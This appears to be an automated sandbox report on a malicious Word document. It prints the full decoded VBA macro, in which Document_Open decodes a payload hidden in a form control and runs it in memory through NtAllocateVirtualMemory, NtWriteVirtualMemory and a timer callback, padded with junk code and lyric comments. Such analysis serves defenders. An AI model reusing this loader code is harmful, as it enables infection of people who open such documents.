MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a Microsoft Office document containing VBA macros, specifically triggering a Document_Open auto-execution. The high-severity heuristics indicate the use of GetObject and p-code execution, suggesting an attempt to run obfuscated code. The VBA script itself is heavily obfuscated with complex arithmetic and string manipulation, making its exact function difficult to determine, but it appears to be designed to download and execute a second-stage payload. No specific family could be identified due to the obfuscation.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set wdApp = GetObject(, "Word.Application") Set wdDoc = wdApp.ActiveDocument -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
End Sub Private Sub Document_Open() Dim gatepost As Variant -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 54112 bytes |
SHA-256: 623e8fc127fc24e9512d8a69ac47717d6f19ebfc19d1316e73f022ec857ee030 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function famine(emasculate)
Dim maypop As Variant
Dim fatuity As Variant
Dim difficile As Integer
Dim akimbo As String
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim agoraphobia As Integer
Dim contradistinction As LongPtr
zero = 117 - 12 - 97
Dim unrequited As LongPtr
Dim cannibalism As Integer
Dim cyclic As Long
Dim chick As LongPtr
Dim dative As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim contradistinction As Long
zero = 40 - 104 + 68
Dim unrequited As Long
Dim chick As Long
#End If
ununprepared = VarPtr(contradistinction)
carinate = blustering(ununprepared, VarPtr(emasculate) + 8, zero)
chicago = 70 - 11 - 60
unrequited = 118 - 119 + 1
shrublet = 54 - 11 - 43
chick = 52 - 70 + 9829
pollack = 70 - 89 + 4115
intrinsic = 21 - 78 + 121
nonjuring = caviar(ByVal chicago, unrequited, ByVal shrublet, chick, ByVal pollack, ByVal intrinsic)
dilatory = mankind - 194
ness = "trending"
blustering unrequited, contradistinction, 5 - 45 + 5923
sedativehypnotic = 43
provoquant = 39934
roadworthy = 471323
Pmt 0, sedativehypnotic, 6909, 41583, 2
famine = unrequited
End Function
Sub andante()
Dim senora As String
Dim anarhichas As String
dedifferentiation.petromyzon.Value = Day(#12/5/2013#)
varday = acathexis = "exempie"
durmast = harmonize
dicer = "covinous"
amblyopic = "incalescent"
anteriorly = "moulin"
partie = "baht"
inexpectation = "abulic"
Set logic = dedifferentiation.petromyzon.SelectedItem
pipes = 115
numeral = 25595
ariidae = 111199
Pmt 0, pipes, 7158, 45442, 3
handwritten = logic.Name
artem = 79 - 30 + 7795
offer = Right(handwritten, artem)
drive = stevia(offer)
tomboy = 31
auto = 27903
negligable = 552103
Pmt 0, tomboy, 16890, 57727, 3
bombyx = "mitigation"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim pearlite As Variant
Dim brant As LongPtr
Dim mismatch As LongPtr
Dim dioscorea As Byte
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim consequently As Long
Dim mismatch As Long
Dim aerobiotic As Byte
Dim brant As Long
#End If
kui = 77 - 108 + 31
furnish = "caries"
flashing = "chomp"
deactivate = 124 - 42 + 4014
glave = 31
counterintelligence = 35690
corpus = 594156
Pmt 0, glave, 24287, 54982, 6
disintegrate = odessa
immeasurably = "catarrhal"
tobacco = "haruspex"
platanaceae = 28
candlemaker = 23507
sparks = 354822
Pmt 0, platanaceae, 9643, 57371, 6
algonquian = drive
boutade = "behindhand"
neckcloth = contrastive
brant = famine(algonquian)
posthorn = "filler"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim sanction As Integer
Dim fissurellidae As LongPtr
Dim amphibolous As LongPtr
Dim protuberance As LongPtr
populi = 28 - 108 + 2144
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim fissurellidae As Long
planner = 61 - 45 + 765
Dim amphibolous As Long
Dim protuberance As Long
populi = planner + 3459
#End If
Dim awheel As String
Dim install As Variant
fissurellidae = 79 - 35 - 44
mismatch = brant + populi
amphibolous = 72 - 93 + 201548
protuberance = 33 - 112 + 3579
spadix = afril(amphibolous, fissurellidae, mismatch)
bujumbura = 28
antichristianity = 7597
ditch = 221444
Pmt 0, bujumbura, 36599, 13479, 5
End Sub
Private Sub Document_Open()
Dim gatepost As Variant
Dim etiology As Byte
armless = "luteous"
andante
amyloidosis = 90 + 2
debauch = 2180 + 7
conventionality = 451450 + 6
Pmt 0, amyloidosis, 34486, 34646, 4
End Sub
Function stevia(blackleg) As String
Dim ctenizidae(63) As Long
novial = "nystatin"
Dim cloudcapt As Integer
Dim strapless As String
Dim cardigan(63) As Long
Dim dervish(63) As Long
Dim stepson As Long
Dim capilliform As Long
Dim nystagmus As String
ness = ness
Dim seas As Long
novial = alcidae
Dim lampyridae As Integer
Dim apologist As Long
Dim degenerative(6962) As Byte
Dim starduckweed As Byte
Dim clearsighted As Integer
Dim schismatically() As Byte
Dim nichrome As Byte
scintillation = 46 - 122 + 65612
demochelys = 37 - 115 + 142
dahlia = 6 - 3 + 253
eschew = 34 - 37 + 258051
hombre = 89 - 104 + 4111
Dim homegrown As String
Dim conciliatrix As String
caeca = 52 - 93 + 262185
stepdaughter = 99 - 29 + 65210
ignotum = 98 - 126 + 4060
decrease = 36 - 28 + 55
deceptiveness = 75 - 22 + 16711627
ejectment = 98 - 103 + 16515077
nutrition = 90 - 108 + 273
Dim ammonium As String
editio = 34 - 98 + 64
antihypertensive = 16 - 2 + 7829
Dim jejunum() As Byte
Dim preternatural As Integer
Dim iconoclasm As Integer
jejunum = VBA.StrConv(blackleg, 128)
Dim feathered As String
deep = 109
grandeur = 8620
prechlorination = 291238
Pmt 0, deep, 30934, 55783, 3
mounted = 7843
farthingale = vbKeyShift - 12
For houseroom = 0 To mounted
If houseroom Mod 2 = 0 Then
jejunum(houseroom) = jejunum(houseroom) - farthingale
Else
jejunum(houseroom) = jejunum(houseroom) - (farthingale - 1)
End If
Next houseroom
quidem = 6
auf = 3556
cataract = 379999
Pmt 0, quidem, 36334, 32102, 7
lampyridae = 0
saltbox = 63 - 44 - 19
absorbate = 24 - 61 + 80
tidings = typography
For stepson = (7 - 7) * 1 To (50 + 13) * (5 - 4)
dervish(stepson) = sevenup(stepson, demochelys, 63)
cardigan(stepson) = sevenup(stepson, hombre, 63)
ctenizidae(stepson) = sevenup(stepson, caeca, 63)
Next stepson
galeopsis = 33
falsus = 4713
calamitous = 472650
Pmt 0, galeopsis, 37422, 52940, 7
schismatically = jejunum
frankfort = 25 - 115 + 94
coleus = 81
muridae = 39233
approximative = 521692
Pmt 0, coleus, 5291, 49698, 2
acipenseridae = 107 - 6 - 98
ness = "sanskritish"
dilatory = Math.Round(251)
logical = acipenseridae + 1
crossbarred = 8 - 49 + 43
For seas = 0 To mounted
reconnaissance = schismatically(seas)
forwardness = schismatically(seas + 2)
boringly = cardigan(tidings(schismatically(seas + 1)))
earache = dervish(tidings(forwardness)) + tidings(schismatically(seas + acipenseridae))
capilliform = ctenizidae(tidings(reconnaissance)) + boringly + earache
stepson = sevenup(capilliform, deceptiveness, 55)
degenerative(apologist) = sevenup(stepson, scintillation, 45)
stepson = sevenup(capilliform, stepdaughter, 55)
degenerative(apologist + 1) = sevenup(stepson, dahlia, 45)
degenerative(apologist + crossbarred) = sevenup(capilliform, nutrition, 55)
apologist = apologist + crossbarred + 1
seas = seas + 3
Next
stevia = degenerative
End Function
Function blustering(affuse, starryeyed, mumbletypeg)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim famotidine As String
Dim terminable As Integer
Dim endwise As LongPtr
Dim equilibrium As LongPtr
Dim interview As LongPtr
Dim bomb As Long
Dim bald As LongPtr
Dim covercle As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim equilibrium As Long
Dim homoiousian As Byte
Dim endwise As Long
Dim clinocephaly As Integer
Dim bald As Long
Dim hypophysectomized As Variant
Dim interview As Long
Dim chicle As String
Dim covercle As Long
Dim birdnesting As String
Dim pericranium As Integer
#End If
indicate = Fix(426)
fullcolored = fullcolored \ 218
equilibrium = affuse
covercle = mumbletypeg
ness = calciferous
bald = starryeyed
africanamerican = 76
fulfilled = 13392
depending = 273599
Pmt 0, africanamerican, 5081, 40014, 4
dilatory = Fix(111)
endwise = 52 - 56 + 3
fustie ByVal endwise, equilibrium, bald, covercle, interview
ness = calciferous
End Function
Attribute VB_Name = "envoy"
' We locked eyes over whiskey on ice
' The moon went hiding, stars quit shining
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
' The moon went hiding, stars quit shining
' You wrecked my whole world when you came
Public Declare PtrSafe Function morbo Lib "Shlwapi.dll" Alias "CreateFileWrapW" (cherty As LongPtr) As LongPtr
' You wrecked my whole world when you came
' Started talking bout us again
Public Declare PtrSafe Function epos Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal november As Any, bridewell As Any, exaction As Any, condom As Any) As LongPtr
' Knew it was gonna be a long night
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function fustie Lib "ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal menopausal As Any, ByVal ballshaped As Any, ByVal catholicon As Any, ByVal carful As Any, ByVal decigram As Any) As LongPtr
' Started talking bout us again
' But just your sight had my heart storming
Public Declare PtrSafe Function weber Lib "ntdll.dll" Alias "NtCreateEventPair" (galicia As LongPtr, caries As LongPtr, natura As LongPtr) As LongPtr
' Hit me like a hurricane
' I was doing alright
Public Declare PtrSafe Function oldfashioned Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal strut As Any, thallophyta As Any, abends As Any, felis As Any) As LongPtr
' I was doing alright
' And hit me like a hurricane
Public Declare PtrSafe Function caviar Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (browbeaten As LongPtr, agaricales As LongPtr, ByVal crevasse As LongPtr, grainsByVal As LongPtr, finem As LongPtr, ByVal branchlet As LongPtr) As LongPtr
' And hit me like a hurricane
' You wrecked my whole world when you came
Public Declare PtrSafe Function lovemaking Lib "Kernel32" Alias "CreateTimerQueueTimer" (adz As Any, ByVal backflow As Any, ByVal planetal As Any, ByVal ashpan As Any, ByVal cognitively As Any, ByVal flotation As Any, ByVal assama As Any) As Long
' Started talking bout us again
' The moon went hiding, stars quit shining
Public Declare PtrSafe Function vowel Lib "ntdll.dll " Alias "AcquireSRWLockShared" (clamatores As Any) As LongPtr
' But just your sight had my heart storming
' But you rolled in with your hair in the wind
Public Declare PtrSafe Function ankel Lib "Kernel32.dll" Alias "CreateEventW" (ByVal pegology As LongPtr, kingly As LongPtr, gamesome As LongPtr, sabulous As LongPtr, thoriated As LongPtr) As Long
' And walked out
' Rain was driving, thunder, lightning
' Driving us to your house
' You wrecked my whole world when you came
#End If
' Rain was driving, thunder, lightning
' You wrecked my whole world when you came
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
' Baby, without warning
' You wrecked my whole world when you came
Public Declare Function galeiform Lib "ntdll.dll " Alias "AcquireSRWLockShared" (somatology As Any) As Long
' Knew it was gonna be a long night
' But just your sight had my heart storming
Public Declare Function fustie Lib "Ntdll.dll " Alias "NtWriteVirtualMemory" (ByVal fonctionnaire As Any, ByVal foreordained As Any, ByVal anonymous As Any, ByVal ahead As Any, ByVal decisive As Any) As Long
' I was doing alright
' Baby, without warning
Public Declare Function starts Lib "Kernel32.dll" Alias "CreateEventW" (ByVal sputter As Long, ataxic As Long, maniac As Long, dracula As Long, inperson As Long) As Long
' Hit me like a hurricane
' I was doing alright
Public Declare Function lovemaking Lib "Kernel32" Alias "CreateTimerQueueTimer" (mouton As Any, ByVal couleur As Any, ByVal cerography As Any, ByVal denatured As Any, ByVal baptist As Any, ByVal narrowminded As Any, ByVal polypody As Any) As Long
' Knew it was gonna be a long night
' I was doing alright
Public Declare Function foreclose Lib "ntdll.dll" Alias "NtCreateEventPair" (democratization As Long, methodism As Long, nefariousness As Long) As Long
' We locked eyes over whiskey on ice
' Hit me like a hurricane
Public Declare Function ant Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal unhappily As Any, foreshow As Any, aggrieved As Any, antiquity As Any) As Long
' But you rolled in with your hair in the wind
' And hit me like a hurricane
Public Declare Function clannishness Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal whirr As Any, altar As Any, greatest As Any, cutlass As Any) As Long
' Rain was driving, thunder, lightning
' The moon went hiding, stars quit shining
Public Declare Function caviar Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (aneuploidy As Long, heralded As Long, ByVal incompressible As Long, alphanumericsByVal As Long, aga As Long, ByVal inseparableness As Long) As Long
' And walked out
' But just your sight had my heart storming
' The moon went hiding, stars quit shining
' If I woulda just layed my drink down
#End If
' I was doing alright
' The moon went hiding, stars quit shining
Sub InsertText()
Dim wdApp As Word.Application
Dim wdDoc As Document
Dim wdSln As Selection
Set wdApp = GetObject(, "Word.Application")
Set wdDoc = wdApp.ActiveDocument
Set wdSln = wdApp.Selection
wdDoc.Application.Options.Overtype = False
With wdSln
If .Type = wdSelectionIP Then
.TypeText ("Inserting at insertion point. ")
ElseIf .Type = wdSelectionNormal Then
If wdApp.Options.ReplaceSelection Then
.Collapse Direction:=wdCollapseStart
End If
.TypeText ("Inserting before a text block. ")
End If
End With
Set wdApp = Nothing
Set wdDoc = Nothing
End Sub
Function afril(lst, pirs, lky)
zara = axoid.georges(80 / 4 * 4)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (zara) Then
Dim dogss As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (zara) Then
Dim dogss As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
dogss = pirs
deble = lky
dan2 = lovemaking(lst, dogss, deble, dogss, dogss, dogss, dogss)
End Function
Function androgyny(shrieve)
androgyny = AscW(shrieve)
End Function
Function sevenup(celeriac, bardic, genoa)
If genoa = (40 + 5) + (10 / 2 - 5) Then
sevenup = celeriac \ bardic
ElseIf genoa = (50 + 5) + (5 - 3) / 2 - 1 Then
sevenup = celeriac And bardic
ElseIf genoa = (60 + 3) + (56 / 7 - 4 * 2) Then
sevenup = celeriac * bardic
End If
End Function
Function typography()
Dim same(255) As Byte
cautiousness = 43 - 44 + 66
Do While cautiousness <= 90 + 1
same(cautiousness) = cautiousness - 65
cautiousness = cautiousness + 1
Loop
cautiousness = 48
Do While cautiousness <= 50 + 8
same(cautiousness) = cautiousness + 4
cautiousness = cautiousness + 1
Loop
cautiousness = 97
Do While cautiousness <= 120 + 3
same(cautiousness) = cautiousness - 71
cautiousness = cautiousness + 1
Loop
same(47) = 63
cautiousness = 43
same(cautiousness) = 60 + 2
typography = same
End Function
Attribute VB_Name = "dedifferentiation"
Attribute VB_Base = "0{FD2E5351-0F26-47FA-8DF4-D5CE12731E19}{5D298925-A255-49EA-B1E0-F75A3D411C62}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "axoid"
Public Sub DynamicsBubble()
Dim tempVar As Integer
Dim anotherIteration As Boolean
Dim Y As Integer
Dim arraySize As Integer
Dim myArray() As Integer
Do
arraySize = Y
Y = Y + 1
Loop Until Cells(I, "A").Value = ""
ReDim myArray(arraySize - 1)
For Y = 1 To arraySize
myArray(Y - 1) = Cells(Y, "A").Value
Next Y
Do
anotherIteration = False
End Sub
Function georges(piterson)
Dim windser As Integer
Dim velvet As Integer
fixoid = piterson * 12
Dim sitroen As Variant
metro2 = piterson * 2
Dim cowen() As Byte
#If (5 * 6 + piterson) > (6 - 2 * 1) And (20 - piterson * 4) * 2 < (Win64) Then
velvet = metro2
#End If
#If (5 * 6 + piterson) > (6 - 2 * 1) And Not (20 - piterson * 4) * 2 < (Win64) Then
velvet = (120 - fixoid)
#End If
metro3 = metro2 + velvet
georges = velvet
End Function
Sub main()
Dim wdApp As Word.Application
Set wdApp = GetObject(, "Word.Application")
wdApp.ActiveDocument.Close
'or
wdApp.Documents("Arrays.docx").Close
End Sub
' Processing file: /opt/analyzer/scan_staging/eecce45e77514479a16fdf84c85e90e7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 22206 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' FuncDefn (Function famine(emasculate))
' Line #6:
' Dim
' VarDefn maypop (As Variant)
' Line #7:
' Dim
' VarDefn fatuity (As Variant)
' Line #8:
' Dim
' VarDefn difficile (As Integer)
' Line #9:
' Dim
' VarDefn akimbo (As String)
' Line #10:
' LbMark
' LitDI2 0x0006
' LitDI2 0x0003
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0030
' LitDI2 0x0006
' LitDI2 0x0008
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #11:
' Dim
' VarDefn agoraphobia (As Integer)
' Line #12:
' Dim
' VarDefn contradistinction (As Ptr)
' Line #13:
' LitDI2 0x0075
' LitDI2 0x000C
' Sub
' LitDI2 0x0061
' Sub
' St zero
' Line #14:
' Dim
' VarDefn unrequited (As Ptr)
' Line #15:
' Dim
' VarDefn cannibalism (As Integer)
' Line #16:
' Dim
' VarDefn cyclic (As Long)
' Line #17:
' Dim
' VarDefn chick (As Ptr)
' Line #18:
' Dim
' VarDefn dative (As Integer)
' Line #19:
' LbMark
' LbEndIf
' Line #20:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #21:
' Dim
' VarDefn contradistinction (As Long)
' Line #22:
' LitDI2 0x0028
' LitDI2 0x0068
' Sub
' LitDI2 0x0044
' Add
' St zero
' Line #23:
' Dim
' VarDefn unrequited (As Long)
' Line #24:
' Dim
' VarDefn chick (As Long)
' Line #25:
' LbMark
' LbEndIf
' Line #26:
' Ld contradistinction
' ArgsLd VarPtr 0x0001
' St ununprepared
' Line #27:
' Ld ununprepared
' Ld emasculate
' ArgsLd VarPtr 0x0001
' LitDI2 0x0008
' Add
' Ld zero
' ArgsLd blustering 0x0003
' St carinate
' Line #28:
' LitDI2 0x0046
' LitDI2 0x000B
' Sub
' LitDI2 0x003C
' Sub
' St chicago
' Line #29:
' LitDI2 0x0076
' LitDI2 0x0077
' Sub
' LitDI2 0x0001
' Add
' St unrequited
' Line #30:
' LitDI2 0x0036
' LitDI2 0x000B
' Sub
' LitDI2 0x002B
' Sub
' St shrublet
' Line #31:
' LitDI2 0x0034
' LitDI2 0x0046
' Sub
' LitDI2 0x2665
' Add
' St chick
' Line #32:
' LitDI2 0x0046
' LitDI2 0x0059
' Sub
' LitDI2 0x1013
' Add
' St pollack
' Line #33:
' LitDI2 0x0015
' LitDI2 0x004E
' Sub
' LitDI2 0x0079
' Add
' St intrinsic
' Line #34:
' Ld chicago
' ParamByVal
' Ld unrequited
' Ld shrublet
' ParamByVal
' Ld chick
' Ld pollack
' ParamByVal
' Ld intrinsic
' ParamByVal
' ArgsLd caviar 0x0006
' St nonjuring
' Line #35:
' Ld mankind
' LitDI2 0x00C2
' Sub
' St dilatory
' Line #36:
' Line #37:
' LitStr 0x0008 "trending"
' St ness
' Line #38:
' Line #39:
' Ld unrequited
' Ld contradistinction
' LitDI2 0x0005
' LitDI2 0x002D
' Sub
' LitDI2 0x1723
' Add
' ArgsCall blustering 0x0003
' Line #40:
' LitDI2 0x002B
' St sedativehypnotic
' Line #41:
' LitDI4 0x9BFE 0x0000
' St provoquant
' Line #42:
' LitDI4 0x311B 0x0007
' St roadworthy
' Line #43:
' LitDI2 0x0000
' Ld sedativehypnotic
' LitDI2 0x1AFD
' LitDI4 0xA26F 0x0000
' LitDI2 0x0002
' ArgsCall Pmt 0x0005
' Line #44:
' Line #45:
' Ld unrequited
' St famine
' Line #46:
' EndFunc
' Line #47:
' FuncDefn (Sub andante())
' Line #48:
' Dim
' VarDefn senora (As String)
' Line #49:
' Dim
' VarDefn anarhichas (As String)
' Line #50:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld dedifferentiation
' MemLd petromyzon
' MemSt Value
' Line #51:
' Ld acathexis
' LitStr 0x0007 "exempie"
' Eq
' St varday
' Line #52:
' Ld harmonize
' St durmast
' Line #53:
' LitStr 0x0008 "covinous"
' St dicer
' Line #54:
' LitStr 0x000B "incalescent"
' St amblyopic
' Line #55:
' LitStr 0x0006 "moulin"
' St anteriorly
' Line #56:
' Line #57:
' LitStr 0x0004 "baht"
' St partie
' Line #58:
' LitStr 0x0006 "abulic"
' St inexpectation
' Line #59:
' SetStmt
' Ld dedifferentiation
' MemLd petromyzon
' MemLd SelectedItem
' Set logic
' Line #60:
' LitDI2 0x0073
' St pipes
' Line #61:
' LitDI2 0x63FB
' St numeral
' Line #62:
' LitDI4 0xB25F 0x0001
' St ariidae
' Line #63:
' LitDI2 0x0000
' Ld pipes
' LitDI2 0x1BF6
' LitDI4 0xB182 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #64:
' Line #65:
' Ld logic
' MemLd Name
' St handwritten
' Line #66:
' LitDI2 0x004F
' LitDI2 0x001E
' Sub
' LitDI2 0x1E73
' Add
' St artem
' Line #67:
' Ld handwritten
' Ld artem
' ArgsLd Right 0x0002
' St offer
' Line #68:
' Ld offer
' ArgsLd stevia 0x0001
' St drive
' Line #69:
' LitDI2 0x001F
' St tomboy
' Line #70:
' LitDI2 0x6CFF
' St auto
' Line #71:
' LitDI4 0x6CA7 0x0008
' St negligable
' Line #72:
' LitDI2 0x0000
' Ld tomboy
' LitDI2 0x41FA
' LitDI4 0xE17F 0x0000
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #73:
' Line #74:
' LitStr 0x000A "mitigation"
' St bombyx
' Line #75:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #76:
' Dim
' VarDefn pearlite (As Variant)
' Line #77:
' Dim
' VarDefn brant (As Ptr)
' Line #78:
' Dim
' VarDefn mismatch (As Ptr)
' Line #79:
' Dim
' VarDefn dioscorea (As Byte)
' Line #80:
' LbMark
' LbEndIf
' Line #81:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #82:
' Dim
' VarDefn consequently (As Long)
' Line #83:
' Dim
' VarDefn mismatch (As Long)
' Line #84:
' Dim
' VarDefn aerobiotic (As Byte)
' Line #85:
' Dim
' VarDefn brant (As Long)
' Line #86:
' LbMark
' LbEndIf
' Line #87:
' LitDI2 0x004D
' LitDI2 0x006C
' Sub
' LitDI2 0x001F
' Add
' St kui
' Line #88:
' LitStr 0x0006 "caries"
' St furnish
' Line #89:
' LitStr 0x0005 "chomp"
' St flashing
' Line #90:
' LitDI2 0x007C
' LitDI2 0x002A
' Sub
' LitDI2 0x0FAE
' Add
' St deactivate
' Line #91:
' LitDI2 0x001F
' St glave
' Line #92:
' LitDI4 0x8B6A 0x0000
' St counterintelligence
' Line #93:
' LitDI4 0x10EC 0x0009
' St corpus
' Line #94:
' LitDI2 0x0000
' Ld glave
' LitDI2 0x5EDF
' LitDI4 0xD6C6 0x0000
' LitDI2 0x0006
' ArgsCall Pmt 0x0005
' Line #95:
' Line #96:
' Ld odessa
' St disintegrate
' Line #97:
' LitStr 0x0009 "catarrhal"
' St immeasurably
' Line #98:
' LitStr 0x0008 "haruspex"
' St tobacco
' Line #99:
' LitDI2 0x001C
' St platanaceae
' Line #100:
' LitDI2 0x5BD3
' St candlemaker
' Line #101:
' LitDI4 0x6A06 0x0005
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.